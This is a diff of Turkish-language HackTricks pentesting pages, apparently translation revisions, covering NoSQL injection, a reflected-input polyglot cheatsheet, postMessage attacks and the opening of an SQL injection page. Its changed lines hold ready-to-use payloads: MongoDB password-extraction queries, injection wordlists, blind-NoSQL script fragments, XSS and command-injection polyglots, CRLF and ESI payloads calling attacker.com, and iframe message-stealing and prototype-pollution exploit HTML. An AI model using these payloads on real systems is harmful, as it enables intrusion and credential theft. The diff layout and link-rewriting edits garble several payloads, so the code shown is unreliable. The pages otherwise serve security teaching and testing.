		||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
 | 
			
		||||
@ -76,9 +76,9 @@ in JSON
 | 
			
		||||
...
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
 | 
			
		||||
```
 | 
			
		||||
### PHP Rastgele Fonksiyon Çalıştırma
 | 
			
		||||
### PHP Keyfi Fonksiyon İcraatı
 | 
			
		||||
 | 
			
		||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
 | 
			
		||||
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
 | 
			
		||||
```python
 | 
			
		||||
"user":{"$func": "var_dump"}
 | 
			
		||||
```
 | 
			
		||||
@ -110,7 +110,7 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
 | 
			
		||||
```
 | 
			
		||||
## MongoDB Yüklemeleri
 | 
			
		||||
 | 
			
		||||
List [buradan](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 | 
			
		||||
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 | 
			
		||||
```
 | 
			
		||||
true, $where: '1 == 1'
 | 
			
		||||
, $where: '1 == 1'
 | 
			
		||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 | 
			
		||||
|| 1==1//
 | 
			
		||||
|| 1==1%00
 | 
			
		||||
}, { password : /.*/ }
 | 
			
		||||
' && this.password.match(/.*/)//+%00
 | 
			
		||||
' && this.passwordzz.match(/.*/)//+%00
 | 
			
		||||
'%20%26%26%20this.password.match(/.*/)//+%00
 | 
			
		||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
 | 
			
		||||
' && this.password.match(/.*/index.html)//+%00
 | 
			
		||||
' && this.passwordzz.match(/.*/index.html)//+%00
 | 
			
		||||
'%20%26%26%20this.password.match(/.*/index.html)//+%00
 | 
			
		||||
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 | 
			
		||||
{$gt: ''}
 | 
			
		||||
[$ne]=1
 | 
			
		||||
';sleep(5000);
 | 
			
		||||
@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 | 
			
		||||
{"username": {"$gt":""}, "password": {"$gt":""}}
 | 
			
		||||
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
 | 
			
		||||
```
 | 
			
		||||
## Kör NoSQL Script
 | 
			
		||||
## Blind NoSQL Script
 | 
			
		||||
```python
 | 
			
		||||
import requests, string
 | 
			
		||||
 | 
			
		||||
@ -176,7 +176,7 @@ if 'OK' in r.text:
 | 
			
		||||
print("Found one more char : %s" % (password+c))
 | 
			
		||||
password += c
 | 
			
		||||
```
 | 
			
		||||
### POST girişinden brute-force kullanıcı adları ve şifreleri
 | 
			
		||||
### Brute-force giriş kullanıcı adları ve şifreleri POST girişinden
 | 
			
		||||
 | 
			
		||||
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
 | 
			
		||||
```python
 | 
			
		||||
 | 
			
		||||
@ -2,13 +2,13 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda, potansiyel olarak istismar edebileceği zafiyetlerin hızlı bir **özeti** sunmaktır.
 | 
			
		||||
Bu PoC'lerin ve Polyglotların amacı, testere **girdiğinin yanıt içinde bir şekilde yansıtılabileceği** durumlarda istismar edebileceği zafiyetlerin hızlı bir **özetini** sunmaktır.
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Bu **cheatsheet, her zafiyet için kapsamlı bir test listesi önermemektedir**, sadece bazı temel testler sunmaktadır. Daha kapsamlı testler arıyorsanız, önerilen her zafiyete erişin.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulduğunuzda bunları kendiniz deneyeceksiniz. Ayrıca burada **veritabanı enjeksiyonları** da bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç veritabanı teknolojisine ve yapısına büyük ölçüde bağlıdır.
 | 
			
		||||
> **XXE gibi İçerik Türüne bağlı enjeksiyonlar bulamayacaksınız**, çünkü genellikle xml verisi gönderen bir istek bulursanız bunları kendiniz deneyeceksiniz. **Veritabanı enjeksiyonları** da burada bulamayacaksınız, çünkü bazı içerikler yansıtılsa bile bu, arka uç DB teknolojisine ve yapısına büyük ölçüde bağlıdır.
 | 
			
		||||
 | 
			
		||||
## Polyglotlar listesi
 | 
			
		||||
```python
 | 
			
		||||
@ -46,7 +46,7 @@ javascript:alert(1)
 | 
			
		||||
javascript:alert()
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
```
 | 
			
		||||
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 | 
			
		||||
{{7*7}}
 | 
			
		||||
[7*7]
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```bash
 | 
			
		||||
{{7*7}}[7*7]
 | 
			
		||||
```
 | 
			
		||||
@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 | 
			
		||||
`ls`
 | 
			
		||||
$(ls)
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```bash
 | 
			
		||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 | 
			
		||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
 | 
			
		||||
@ -88,13 +88,13 @@ $(ls)
 | 
			
		||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 | 
			
		||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 | 
			
		||||
```
 | 
			
		||||
## Asılı İşaretleme
 | 
			
		||||
## Dangling Markup
 | 
			
		||||
 | 
			
		||||
### Temel Testler
 | 
			
		||||
```markup
 | 
			
		||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
 | 
			
		||||
```
 | 
			
		||||
## [Dosya Dahil Etme/Yol Geçişi](../file-inclusion/)
 | 
			
		||||
## [Dosya Dahil Etme/Yol Traversali](../file-inclusion/index.html)
 | 
			
		||||
 | 
			
		||||
### Temel Testler
 | 
			
		||||
```bash
 | 
			
		||||
@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 | 
			
		||||
http://asdasdasdasd.burpcollab.com/mal.php
 | 
			
		||||
\\asdasdasdasd.burpcollab.com/mal.php
 | 
			
		||||
```
 | 
			
		||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
 | 
			
		||||
## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
### Temel Testler
 | 
			
		||||
```bash
 | 
			
		||||
@ -127,7 +127,7 @@ javascript:alert(1)
 | 
			
		||||
([a-zA-Z]+)*$
 | 
			
		||||
((a+)+)+$
 | 
			
		||||
```
 | 
			
		||||
## [Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
 | 
			
		||||
 | 
			
		||||
### Temel Testler
 | 
			
		||||
```markup
 | 
			
		||||
@ -136,15 +136,15 @@ javascript:alert(1)
 | 
			
		||||
<esi:include src=http://attacker.com/>
 | 
			
		||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```markup
 | 
			
		||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 | 
			
		||||
```
 | 
			
		||||
## [Sunucu Tarafı İstek Sahteciliği](../ssrf-server-side-request-forgery/)
 | 
			
		||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
Open Redirect için kullanılan aynı testler burada da kullanılabilir.
 | 
			
		||||
 | 
			
		||||
## [Sunucu Tarafı Şablon Enjeksiyonu](../ssti-server-side-template-injection/)
 | 
			
		||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 | 
			
		||||
 | 
			
		||||
### Temel Testler
 | 
			
		||||
```markup
 | 
			
		||||
@ -155,7 +155,7 @@ ${7*7}
 | 
			
		||||
${{7*7}}
 | 
			
		||||
#{7*7}
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```python
 | 
			
		||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 | 
			
		||||
```
 | 
			
		||||
@ -166,7 +166,7 @@ ${{7*7}}
 | 
			
		||||
<xsl:value-of select="system-property('xsl:version')" />
 | 
			
		||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```markup
 | 
			
		||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 | 
			
		||||
```
 | 
			
		||||
@ -178,12 +178,12 @@ ${{7*7}}
 | 
			
		||||
'"><img src=x onerror=alert(1) />
 | 
			
		||||
javascript:alert()
 | 
			
		||||
```
 | 
			
		||||
### Poliglotlar
 | 
			
		||||
### Polyglotlar
 | 
			
		||||
```markup
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
 | 
			
		||||
 | 
			
		||||
@ -36,7 +36,7 @@ javascript:alert(1)
 | 
			
		||||
javascript:alert()
 | 
			
		||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
 | 
			
		||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 | 
			
		||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 | 
			
		||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## **PostMessage** Gönder
 | 
			
		||||
## Gönder **PostMessage**
 | 
			
		||||
 | 
			
		||||
**PostMessage** bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
 | 
			
		||||
```bash
 | 
			
		||||
@ -33,13 +33,13 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 | 
			
		||||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 | 
			
		||||
```
 | 
			
		||||
Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\
 | 
			
		||||
**İkinci senaryoda**, **mesaj yalnızca o domaine** gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).\
 | 
			
		||||
Eğer **wildcard** kullanılıyorsa, **mesajlar herhangi bir domaine** gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.
 | 
			
		||||
**İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\
 | 
			
		||||
Eğer **wildcard** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
 | 
			
		||||
 | 
			
		||||
### iframe saldırısı & **targetOrigin**'de wildcard
 | 
			
		||||
### iframe'leri hedef alma & **targetOrigin**'de wildcard
 | 
			
		||||
 | 
			
		||||
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen ve **postMessage** aracılığıyla **wildcard** (\*) kullanarak **hassas** mesaj gönderen bir sayfa bulursanız, **iframe**'in **origin**'ini **değiştirebilir** ve **hassas** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
 | 
			
		||||
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlanmışsa ve wildcard'a değilse**, bu **numara çalışmaz**.
 | 
			
		||||
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **wildcard** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **origin**'ini **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
 | 
			
		||||
Eğer sayfa iframed olabiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve wildcard'a değilse**, bu **numara çalışmayacaktır**.
 | 
			
		||||
```markup
 | 
			
		||||
<html>
 | 
			
		||||
<iframe src="https://docs.google.com/document/ID" />
 | 
			
		||||
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
 | 
			
		||||
false
 | 
			
		||||
)
 | 
			
		||||
```
 | 
			
		||||
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa (örneğin bir şifre değiştirmek gibi) son derece **önemlidir**. **Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
 | 
			
		||||
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa (örneğin bir şifre değiştirmek gibi) son derece **önemlidir**. **Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesine** ve kurbanların şifrelerini değiştirmesine neden olabilir (bu örnekte).
 | 
			
		||||
 | 
			
		||||
### Sayım
 | 
			
		||||
 | 
			
		||||
@ -95,14 +95,14 @@ Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
 | 
			
		||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- `String.prototype.search()`'ten gelen **`search()`** metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodu potansiyel olarak güvensiz hale getirir. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
 | 
			
		||||
- `String.prototype.search()`'ten gelen **`search()`** metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodun potansiyel olarak güvensiz olmasına neden olur. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
 | 
			
		||||
 | 
			
		||||
```javascript
 | 
			
		||||
"https://www.safedomain.com".search("www.s.fedomain.com")
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- `search()` ile benzer olan **`match()`** fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
 | 
			
		||||
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
 | 
			
		||||
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
 | 
			
		||||
 | 
			
		||||
- Beklenen Hata:
 | 
			
		||||
 | 
			
		||||
@ -122,15 +122,15 @@ result.message // "'"<b>\"
 | 
			
		||||
 | 
			
		||||
Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
 | 
			
		||||
 | 
			
		||||
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulamasına izin verir.
 | 
			
		||||
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulamasına olanak tanır.
 | 
			
		||||
 | 
			
		||||
### e.origin == window.origin atlaması
 | 
			
		||||
 | 
			
		||||
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox nitelikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileri ile ilgilenirken özellikle önemlidir.
 | 
			
		||||
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
 | 
			
		||||
 | 
			
		||||
**`allow-popups`** niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağı ile aynı olur.
 | 
			
		||||
**`allow-popups`** özelliğini sandbox niteliğinde belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
 | 
			
		||||
 | 
			
		||||
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye bir mesaj gönderildiğinde **`postMessage`** kullanılarak, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryo oluşturur (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
 | 
			
		||||
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye bir mesaj gönderildiğinde **`postMessage`** kullanılarak, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için **okuyun**:
 | 
			
		||||
 | 
			
		||||
@ -165,7 +165,7 @@ var w=window.open("<url>")
 | 
			
		||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### Çocuğa gönderilen mesajı ana sayfayı engelleyerek çalmak
 | 
			
		||||
### Çocuk sayfasına gönderilen mesajı çalmak için ana sayfayı engelleme
 | 
			
		||||
 | 
			
		||||
Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'e gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve verinin alınmadan önce **çocukta bir XSS** kullanarak **veriyi sızdırabilirsiniz**:
 | 
			
		||||
 | 
			
		||||
@ -175,19 +175,19 @@ blocking-main-page-to-steal-postmessage.md
 | 
			
		||||
 | 
			
		||||
### iframe konumunu değiştirerek mesaj çalmak
 | 
			
		||||
 | 
			
		||||
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
 | 
			
		||||
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
steal-postmessage-modifying-iframe-location.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### postMessage ile Prototip Kirliliği ve/veya XSS
 | 
			
		||||
### postMessage ile Prototip Kirlenmesi ve/veya XSS
 | 
			
		||||
 | 
			
		||||
`postMessage` aracılığıyla gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı iframe'leyebilir** ve **prototip kirliliği/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **istismar edebilirsiniz**.
 | 
			
		||||
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı iframe'leyebilir** ve **prototip kirlenmesi/XSS** açığını **postMessage** aracılığıyla gönderilen istismar ile **kullanabilirsiniz**.
 | 
			
		||||
 | 
			
		||||
**postMessage** aracılığıyla **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) adresinde bulunabilir.
 | 
			
		||||
 | 
			
		||||
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirliliği ve ardından XSS** istismar etmek için bir örnek:
 | 
			
		||||
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismarına bir örnek:
 | 
			
		||||
```html
 | 
			
		||||
<html>
 | 
			
		||||
<body>
 | 
			
		||||
@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
 | 
			
		||||
```
 | 
			
		||||
Daha fazla bilgi için:
 | 
			
		||||
 | 
			
		||||
- [**prototip kirlenmesi**](../deserialization/nodejs-proto-prototype-pollution/) sayfasına bağlantı
 | 
			
		||||
- [**XSS**](../xss-cross-site-scripting/) sayfasına bağlantı
 | 
			
		||||
- [**istemci tarafı prototip kirlenmesi ile XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) sayfasına bağlantı
 | 
			
		||||
- [**prototip kirlenmesi**](../deserialization/nodejs-proto-prototype-pollution/index.html) hakkında sayfaya bağlantı
 | 
			
		||||
- [**XSS**](../xss-cross-site-scripting/index.html) hakkında sayfaya bağlantı
 | 
			
		||||
- [**istemci tarafı prototip kirlenmesi ile XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) hakkında sayfaya bağlantı
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -8,7 +8,7 @@ Bir **SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgula
 | 
			
		||||
 | 
			
		||||
